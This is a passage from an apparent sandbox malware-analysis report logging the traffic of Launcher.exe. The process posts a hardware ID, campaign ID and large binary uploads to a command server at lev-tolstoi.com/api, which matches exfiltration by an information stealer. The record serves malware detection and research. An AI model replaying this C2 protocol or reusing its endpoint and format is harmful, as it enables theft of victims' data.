cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1782&rtt_var=687&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15950&delivery_rate=1570736&cwnd=245&unsent_bytes=0&cid=d3807a0bc3ba8708&ts=12063&x=0"
2024-12-22 22:50:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:50:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49745	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:25 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9VUVW43BOUI50PRN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20559 Host: lev-tolstoi.com
2024-12-22 22:50:25 UTC	15331	OUT	Data Raw: 2d 2d 39 56 55 56 57 34 33 42 4f 55 49 35 30 50 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 39 56 55 56 57 34 33 42 4f 55 49 35 30 50 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 56 55 56 57 34 33 42 4f 55 49 35 30 50 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a Data Ascii: --9VUVW43BOUI50PRNContent-Disposition: form-data; name="hwid"65324EBB9BD8E886E022E9EFAB276F17--9VUVW43BOUI50PRNContent-Disposition: form-data; name="pid"3--9VUVW43BOUI50PRNContent-Disposition: form-data; name="lid"yau6Na--622914791
2024-12-22 22:50:25 UTC	5228	OUT	Data Raw: d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-12-22 22:50:26 UTC	1135	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ajqfc7j6l348p3vuc7nacm57p; expires=Thu, 17 Apr 2025 16:37:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f1GSS3g8gzMOh1P1TZI%2FrjQzp1WaRq0O%2Bi2B2oAo%2FhVxzjXjVqw5SFw%2BnXDhpu9udKxnQyLnc7wFaNQ8B4EAnOhe%2FxsgYxPHDcNmQSLVLHKj2%2BaBiPNeEooC7SpTG%2F417SU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63abb84cdc438e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1609&rtt_var=618&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21518&delivery_rate=1748502&cwnd=206&unsent_bytes=0&cid=8c682513348b8ac9&ts=979&x=0"
2024-12-22 22:50:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:50:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49756	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:28 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3UJGQBBN0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1207 Host: lev-tolstoi.com
2024-12-22 22:50:28 UTC	1207	OUT	Data Raw: 2d 2d 33 55 4a 47 51 42 42 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 33 55 4a 47 51 42 42 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 55 4a 47 51 42 42 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a 2d 2d 33 55 4a 47 51 42 42 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --3UJGQBBN0Content-Disposition: form-data; name="hwid"65324EBB9BD8E886E022E9EFAB276F17--3UJGQBBN0Content-Disposition: form-data; name="pid"1--3UJGQBBN0Content-Disposition: form-data; name="lid"yau6Na--622914791--3UJGQBBN0Content-
2024-12-22 22:50:29 UTC	1120	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=81rmahsuk5dddhc08f7n1kbnrg; expires=Thu, 17 Apr 2025 16:37:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HL7arkl17oViZCcbyEL075kK3uFHqAKPyJJFeL68CF3NsKlfcZ17mIX7eRQxeSGNAGElHhOZmmsA%2B9S3XlGsFXtEAbqlfAJp9Jt0IxujJ5nydGxcxotqLtlqbu8SEgAOC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63abcafb2e78e1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1845&min_rtt=1840&rtt_var=700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2114&delivery_rate=1552365&cwnd=203&unsent_bytes=0&cid=0ffd205c59a0ed1f&ts=689&x=0"
2024-12-22 22:50:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 22:50:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49762	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:31 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=23BO8WTDUMZGFIJD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568760 Host: lev-tolstoi.com
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 2d 2d 32 33 42 4f 38 57 54 44 55 4d 5a 47 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 0d 0a 2d 2d 32 33 42 4f 38 57 54 44 55 4d 5a 47 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 33 42 4f 38 57 54 44 55 4d 5a 47 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 0d 0a Data Ascii: --23BO8WTDUMZGFIJDContent-Disposition: form-data; name="hwid"65324EBB9BD8E886E022E9EFAB276F17--23BO8WTDUMZGFIJDContent-Disposition: form-data; name="pid"1--23BO8WTDUMZGFIJDContent-Disposition: form-data; name="lid"yau6Na--622914791
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: f9 98 46 79 d1 bc c3 17 24 66 5f af f5 ef 77 c0 00 95 f9 da de 82 a5 7a 05 c6 48 39 4b 69 70 24 2c a5 1c 40 00 b1 13 c4 d8 43 29 12 40 69 02 ca 6a 84 33 4f b8 32 5c 85 41 bb 2a 16 e6 e3 60 d9 b6 e8 f0 4c b1 f5 7d 1c 8f 1d e0 b1 ef bc 2d 1a 84 57 74 74 77 63 fb 4c f9 ad fe ff 07 d1 a9 07 00 ad b8 03 cc f1 81 04 53 4a 3e 0b 30 fb f8 60 7e aa d2 a5 cc 88 c8 32 cb c5 de cc 72 7e 88 fb 0f d1 f8 b1 39 83 4b 34 b2 ef b4 81 18 87 64 10 6f e1 90 9a e9 e4 c1 07 9a 15 57 03 4d d1 71 3b 9e 39 95 41 0a 6a 30 65 07 af 44 93 ea bf f5 21 3d 22 f1 13 82 5b bb 65 68 ce 1c 28 76 a4 26 f9 f9 f2 a4 1a 77 4a 2b 89 52 6d 21 4f 1e 82 e5 7a 4b 80 8d 1b 77 ba a4 14 53 74 0e 33 6f 92 b1 dd 1c e0 aa c8 6a 70 16 e5 10 d6 14 6b 7b cd 4d c7 d7 1d 95 28 24 46 16 92 e8 ac 6a ce e4 ae 00 Data Ascii: Fy$f_wzH9Kip$,@C)@ij3O2\A*`L}-WttwcLSJ>0`~2r~9K4doWMq;9Aj0eD!="[eh(v&wJ+Rm!OzKwSt3ojpk{M($Fj
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: fb cf b1 bf 72 c7 d6 8b da 4d 80 b1 3a ff 25 34 b9 77 0a 14 13 52 ee 32 c9 a2 36 13 db 31 3d 2e 8d e1 01 a7 32 22 1e 88 ea 0d d7 ba 46 f2 94 30 b0 da 26 75 da 52 4d c4 51 95 ff 6d 52 8d d5 17 cb 67 21 b4 6d 68 5e 6c 6a cd cd 17 9a fe 7d 24 50 1d 09 aa 8c 1a 5d 3f e2 32 e8 6a 6c 26 92 9b ca 08 bf 34 4f 5e 72 b1 80 83 4e 93 f1 3e 89 8b d6 2a d5 89 3b 19 a1 44 d3 67 16 71 47 d0 04 14 3b ad 78 e5 ab c2 7a 9d a4 bb 0a c3 70 52 a9 31 78 1a d5 58 5e 81 78 de e4 7c 13 2f 81 3d 6a c5 89 35 fa 3b 08 2c da 67 33 82 17 5f 7e 39 56 fa db bd b0 ce f2 ec 15 1e 2d f3 cf 9c 6c 86 06 1f 46 92 73 26 81 b7 27 ad bd 5d 11 a1 73 7e 0b fd fd 61 33 73 67 63 b3 e6 df 6b 21 e1 dd b4 5c f7 72 32 8a d0 f6 b4 f6 fb 66 ab 2c f2 3f 75 de 22 58 84 7e db 68 fe 53 14 55 ff c7 c5 8e 0e 95 Data Ascii: rM:%4wR261=.2"F0&uRMQmRg!mh^lj}$P]?2jl&4O^rN>*;DgqG;xzpR1xX^x\|/=j5;,g3_~9V-lFs&']s~a3sgck!\r2f,?u"X~hSU
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 21 58 71 30 2c b6 57 a4 40 7b 44 1a 4c dc 35 0d cf 4e 4d 79 89 9d 19 1c 2f 1d d4 97 8f 09 77 b4 39 54 a1 77 0d 53 0e b4 6b da 0f 47 4a ac 3b 4d 79 31 b4 60 85 ea 4d c6 28 8a e7 26 7a 84 2c 09 96 9d d4 51 0d ba 5e 40 e8 82 88 5b 74 dd d2 53 95 d4 ef 6e 43 2c 9b a9 fc c5 94 bf f5 19 52 6d ba 6f e4 c1 e0 a5 91 42 f2 f9 65 c1 62 43 c6 f0 b7 b2 83 84 da f6 3b df 87 91 0e f9 2b a0 3e ec aa c7 af 21 85 4f c3 99 d5 40 3b 5c 3d 7b 17 9a d6 6a 5d 32 cf d9 74 fa 28 49 03 38 b6 ab a4 c4 63 d2 e3 51 b9 a3 f8 c6 6f 75 35 ef 1d 39 4e 8f 3a 8f 35 95 3e 10 2a 0c 19 f1 cd 94 b8 12 4b b5 a5 c3 6f 5d 1a 2f 57 20 fb 1c 35 1d d5 49 75 ef f8 46 a1 5d 15 f6 48 fe 32 ef d5 d1 b2 c9 f8 41 72 b3 8d 1a e5 54 3b bd c1 a4 1f 12 f1 a1 68 b1 8d 87 36 16 04 18 a3 ef 19 3c 6b be 81 ce 5b Data Ascii: !Xq0,W@{DL5NMy/w9TwSkGJ;My1`M(&z,Q^@[tSnC,RmoBebC;+>!O@;\={j]2t(I8cQou59N:5>*Ko]/W 5IuF]H2ArT;h6<k[
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 3b 57 aa 55 d2 b6 89 d2 4f 40 6b a9 d4 dd 60 2b 45 61 d3 a3 64 50 93 61 bf e2 e5 c9 7c db 77 86 49 c6 e3 ed 38 d1 a9 78 d5 a8 1d 7d e2 83 da eb ed 32 44 7b ae c9 51 0a fb b8 ad 27 b5 af 25 70 92 e6 f3 e5 18 de 77 65 57 97 0a 08 3a a2 9c d6 f1 a4 c1 ac 1c e5 a3 8c 86 b0 0a e4 41 58 e1 0a 80 96 b0 87 58 a2 e0 07 6f db 0f e1 16 62 b0 1b 76 5d 9a 83 ac b1 10 41 8f 44 06 41 d7 dd 55 1a f9 20 0b 60 af 42 39 f4 fb 6d 29 cb 71 ca c3 b3 8a 0f 66 51 ca 2e c3 ec 3c 68 65 af 10 73 97 27 30 c5 5e 1b c1 32 e7 fa ef ee de eb d9 99 2b 5e 79 75 37 26 dd ad 8e 39 9e 23 3a e5 9c 10 2f 16 ec 80 97 91 ed fb 96 04 1f df 8c dd d1 2c b9 e8 a4 47 90 c0 5c 88 75 ec 5b 65 04 fa eb 74 cd db 54 58 39 64 77 82 66 c5 d1 ef 3f 84 13 74 20 5d 53 97 7f 81 f6 06 6a e3 4e cf f8 b7 26 5b 41 Data Ascii: ;WUO@k`+EadPa\|wI8x}2D{Q'%pweW:AXXobv]ADAU `B9m)qfQ.<hes'0^2+^yu7&9#:/,G\u[etTX9dwf?t ]SjN&[A
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 1b cf dd 52 c5 b0 4c f8 ec be d5 32 3a 82 70 85 92 58 04 02 70 f9 21 00 fa 37 c2 dd c3 ae a3 fc 7b 27 98 cd 13 95 65 4f 13 50 e8 d7 1b 4f 11 9f c1 01 9e 11 a0 c9 60 96 c1 ec a1 b9 c7 0e 91 61 36 10 ed 79 79 02 4b f4 27 dc 04 8b 11 8f f6 1e 05 2c 77 9b d0 11 41 10 a8 b7 7e 5f c6 53 be 58 87 00 09 c0 bb 60 0b 84 f5 62 88 b9 23 c5 d2 c2 ad f4 9c 07 e1 4f d7 fd c2 06 05 7d 0f 2f db ce 57 f6 ec 72 93 f8 9b f5 c4 eb ec 58 2b ba d5 0c 7f ff bd 65 1f f0 8e e2 9f c8 51 2b 74 12 01 6e 4a 76 83 60 83 1c 15 20 27 ce 3e ab c8 f8 22 fe 05 f2 8e d2 28 28 93 82 a6 3b 97 64 63 19 3d 25 38 d9 dc 33 88 e1 31 51 6a df fe ee 9d 60 72 44 09 c7 38 2d 21 f1 a7 34 f9 9d 28 f5 04 91 b8 fc 53 aa 5b 04 08 4b 47 df fa 0a c9 5d 2f 70 23 a0 0d fe ce a8 a3 a8 9d 58 d4 48 04 1c 0c 5f 0a Data Ascii: RL2:pXp!7{'eOPO`a6yyK',wA~_SX`b#O}/WrX+eQ+tnJv` '>"((;dc=%831Qj`rD8-!4(S[KG]/p#XH_
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: bc 9c b2 7f 7d f8 0b f6 67 f1 d2 95 e7 82 0c 36 e7 7d 4e f9 35 aa 88 80 f0 7e e6 da 4b 42 74 cf d9 44 29 d7 b9 b7 4e fb da c3 8b 77 5a d3 57 6f b6 1d c2 5c 76 44 ba b8 cb 89 98 17 2b af 4b f0 71 8c da 5b 78 db 54 b3 ce e7 67 1b 5f ac 2c 5d 2b ae ba ef a2 13 59 75 75 5f d5 6a b7 e3 f7 dd 24 16 cd 69 1c 16 bc 0f d5 3c 09 78 ad f3 fc ad 0f ab 87 ca 74 94 2a b5 fb d2 42 f9 71 77 8b 2c 45 f5 3f a4 cf 83 fe fd ee 96 cc b0 9f af ac 23 57 9d 9e 77 0e e7 48 44 ae be b8 ed 25 08 13 5a 77 66 4e 9e fe e2 60 da ff bd 74 34 d5 5e f2 93 d9 f7 83 19 d9 c3 71 cc d9 2b 91 a6 8c 18 d9 8d af 42 2d c7 17 a2 1b 8a d6 1a de ae 37 ac df 9b 38 e1 f4 4e 38 e4 a9 0d cc b7 dc 1d 83 8a 52 d5 90 ac 66 e2 36 ae c6 15 e2 25 9e 81 94 50 47 68 61 4f c1 b5 8d 53 7e a3 4f aa 72 7c 83 fd 1c Data Ascii: }g6}N5~KBtD)NwZWo\vD+Kq[xTg_,]+Yuu_j$i<xt*Bqw,E?#WwHD%ZwfN`t4^q+B-78N8Rf6%PGhaOS~Or\|
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: e5 49 f8 60 13 46 03 3a f5 c6 5d 00 76 f5 12 ae a0 11 41 1e 96 5b 68 ae 09 a3 2b bc d4 70 74 8d a9 3a e8 e8 d9 a8 2e f8 ec b3 3c e1 08 47 0c 7d 3e 5b a4 f1 0e 1c 2b 6b b2 36 5a dd a1 2a 4f c6 76 f0 43 4e 1c 68 6a 2c dd c5 19 58 b5 59 4e 17 06 12 43 b0 df 0e 4a 7b 71 7e 61 d3 13 70 c9 db b0 b5 01 a6 e6 51 5c 11 dd a6 80 26 cb 4a 10 c4 96 a7 f5 05 f3 9d 9b ca 8d c5 d7 22 e6 e7 78 cc 19 11 c9 5b 38 60 26 66 96 d9 5d 43 15 7f 54 77 6e ce c3 b3 01 6b 8a 1b 57 84 f2 34 d0 e3 31 29 7c b3 15 47 14 e5 2f b8 44 6c 9c 53 26 0a fc 18 38 8d 6d ab b7 f6 82 1d b9 7b 23 c9 da 26 5f 7e 5c 51 d0 58 7c ee 09 25 df 22 4c 02 0c 5a 69 7d 70 0c 54 e3 6b 0f c3 58 0d 3b 28 90 83 99 03 fd 65 b1 c6 29 dc 73 cc 8c ab ec bb a6 84 14 4c 50 0c 9d 09 08 ef c9 5e f8 74 53 b5 8e 50 78 79 Data Ascii: I`F:]vA[h+pt:.<G}>[+k6Z*OvCNhj,XYNCJ{q~apQ\&J"x[8`&f]CTwnkW41)\|G/DlS&8m{#&_~\QX\|%"LZi}pTkX;(e)sLP^tSPxy
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 88 c7 3c c6 b9 ef 01 d8 85 06 71 20 34 1b 31 9e f8 37 94 c7 f3 81 8f 29 1d e1 58 d3 a5 5c c8 35 86 5a 25 4a dd 25 58 54 c7 c3 b8 e5 93 4d f8 18 be 7c 1c d5 7d 7d fa ae e9 70 62 10 92 a7 d1 9c 75 f3 9a 4c 4b 54 61 42 10 e2 24 63 cc 93 59 74 36 a1 2d 80 b4 f1 2b 2f ad 4b 73 17 a1 f1 b7 65 e9 a7 a1 a8 45 b5 d7 1c 31 ce be a5 38 b9 f4 79 1a 22 3e 6b c4 32 cf cb 23 6f d4 bc 06 85 c3 2d 78 f6 2a 35 e6 75 70 bb 25 89 04 42 08 07 82 9d 97 24 66 a2 32 df 32 7b a0 a2 17 0d ea 88 53 fd 19 a7 05 16 f6 89 ab 8b c7 fc 44 e2 06 65 e5 87 a2 56 fb 0f 78 be c3 9a 2a 10 95 5c 23 e3 23 df f1 0d 57 80 f4 25 db 34 49 a1 96 a2 97 ed 5b 3c 80 1d cc 37 e8 14 9b 0c 6f 6d 12 a5 92 67 d6 ce 80 b6 43 d8 5a 2e c9 f8 d5 d8 88 c7 e2 5a f4 62 2a 48 3f 89 a7 19 a3 97 6c 04 4d 0f f3 1d df Data Ascii: <q 417)X\5Z%J%XTM\|}}pbuLKTaB$cYt6-+/KseE18y">k2#o-x5up%B$f22{SDeVx\##W%4I[<7omgCZ.Zb*H?lM
2024-12-22 22:50:31 UTC	15331	OUT	Data Raw: 6f 2b c7 ba 73 5a 04 ff 0b 48 8a 8f 42 0e 85 fd 3c 64 3c ff d3 5f 33 16 be 77 98 c0 30 00 74 3f 55 86 13 92 2c 04 79 19 7e de ee 12 13 7e a2 c6 9b 71 0d 03 4b ff 0d ae 3e 89 41 63 eb ee 77 31 1c f5 82 85 80 cb be 58 2d d4 5b 42 69 57 bc 24 d1 08 b1 65 73 e6 75 ee e5 9c 56 48 13 49 7d a5 18 ad e1 43 58 d6 e0 6f 36 20 2d 68 ae 8e 50 24 30 34 40 6c ef 2c a9 1a 32 14 c3 77 6f ff 77 df fa 72 d3 ca ec 36 9e 1a 18 35 a1 3f 34 58 c1 b1 b7 d3 e9 27 01 71 7f ec c2 95 61 fc c6 12 df 5a 05 03 7e 4a 8a 25 78 03 04 ea df 3d 67 40 e7 2e fc fe f0 9f 72 b2 8f eb 56 35 c9 08 b2 11 b2 7c 14 f9 bb 9f 24 1d eb 44 2c 00 c4 dd c2 23 ee a2 4b 78 9e 92 e1 32 17 b7 e1 6f a5 e9 a4 10 73 02 92 6d b8 18 1a fa 44 f8 3f 32 8a b5 37 e6 b2 84 55 ea b0 9d 89 7a 6c 84 11 d6 81 9f b0 fd cc Data Ascii: o+sZHB<d<_3w0t?U,y~~qK>Acw1X-[BiW$esuVHI}CXo6 -hP$04@l,2wowr65?4X'qaZ~J%x=g@.rV5\|$D,#Kx2osmD?27Uzl
2024-12-22 22:50:38 UTC	1137	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=heda104sbt4rsq2vlnphuou2es; expires=Thu, 17 Apr 2025 16:37:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X7okCs5RyfrrVyHNWmoldEQG1K2o%2BgLWggkuw4QgxZKuPeALmGCC%2Flik%2Bp63LGNhUGMndhd5i9i%2B5%2BRupFHF9KuPqy0aPHcL3UmliGcblCC8CkBwVpQWPKPZzhLzzsjn%2F1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63abd9e8af0fa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1530&min_rtt=1497&rtt_var=585&sent=328&recv=596&lost=0&retrans=0&sent_bytes=2836&recv_bytes=571304&delivery_rate=1950567&cwnd=190&unsent_bytes=0&cid=4f1422738b60b749&ts=7487&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49783	104.21.66.86	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:39 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: lev-tolstoi.com
2024-12-22 22:50:39 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 26 6a 3d 26 68 77 69 64 3d 36 35 33 32 34 45 42 42 39 42 44 38 45 38 38 36 45 30 32 32 45 39 45 46 41 42 32 37 36 46 31 37 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--622914791&j=&hwid=65324EBB9BD8E886E022E9EFAB276F17
2024-12-22 22:50:40 UTC	1119	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:50:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sr3s4k4mdehk7c5kd1ff3dipsv; expires=Thu, 17 Apr 2025 16:37:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R7DlIQYoXbhaeBQvFRHyY3Kxa0vbaBGMUvxyxydItgQL6GkmGwVOT6jAXGLjRSz987Oav%2BiGomu4yrNfLKY8ynAGifLdQGQWLGcUHsBgmny2Bm18gPEiE0C79Sh7JtzH2QE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f63ac10ee9143b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1609&rtt_var=619&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=985&delivery_rate=1814791&cwnd=225&unsent_bytes=0&cid=458cc0685db3ba04&ts=796&x=0"
2024-12-22 22:50:40 UTC	54	IN	Data Raw: 33 30 0d 0a 6b 34 6e 6e 56 2f 4e 73 37 67 46 61 72 55 4a 73 73 61 57 6b 34 34 35 55 68 76 32 46 63 59 6b 4b 75 57 50 30 7a 4d 6a 48 64 4b 44 49 31 41 3d 3d 0d 0a Data Ascii: 30k4nnV/Ns7gFarUJssaWk445Uhv2FcYkKuWP0zMjHdKDI1A==
2024-12-22 22:50:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:49:56
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x9c0000
File size:	552'960 bytes
MD5 hash:	B7C46F4D20C5A3926DF76E882D2BABE7
Has elevated privileges:	true
